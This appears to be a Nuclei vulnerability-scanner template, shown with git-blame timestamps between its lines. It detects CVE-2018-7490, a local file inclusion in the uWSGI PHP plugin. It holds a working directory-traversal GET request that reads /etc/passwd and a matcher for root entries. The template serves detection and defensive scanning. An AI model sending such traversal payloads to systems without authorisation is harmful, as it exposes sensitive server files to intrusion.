2021-01-02 05:00:39 +00:00
id : CVE-2018-7490
2020-04-08 11:54:50 +00:00
info :
2022-04-07 13:53:15 +00:00
name : uWSGI PHP Plugin Local File Inclusion
2020-04-08 11:54:50 +00:00
author : madrobot
severity : high
2022-04-22 10:38:41 +00:00
description : uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
2023-09-06 12:57:14 +00:00
remediation : |
Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
2021-09-10 11:26:40 +00:00
reference :
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
- https://www.exploit-db.com/exploits/44223/
- https://www.debian.org/security/2018/dsa-4142
2022-04-07 13:53:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-7490
2022-04-22 10:38:41 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2018-7490
cwe-id : CWE-22
2023-12-12 11:07:52 +00:00
epss-score : 0.9541
epss-percentile : 0.99196
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : unbit
product : uwsgi
2023-12-05 09:50:33 +00:00
tags : cve,cve2018,uwsgi,php,lfi,plugin,edb,unbit
2020-04-08 11:54:50 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-04-08 11:54:50 +00:00
- method : GET
path :
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
2021-03-18 07:54:36 +00:00
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 11:54:50 +00:00
matchers :
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2020-04-08 11:54:50 +00:00
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-12-29 09:30:44 +00:00
# digest: 4b0a004830460221008fa78753410e4643ec84c82fc44d20aed3928e0f930fbfe435623cc9713ca5bf022100906b786f0a345e2db362c6e93b891964b4a77bb64b5e80fbeeca7cc6e44a9d7b:922c64590222798bb761d5b6d8e72950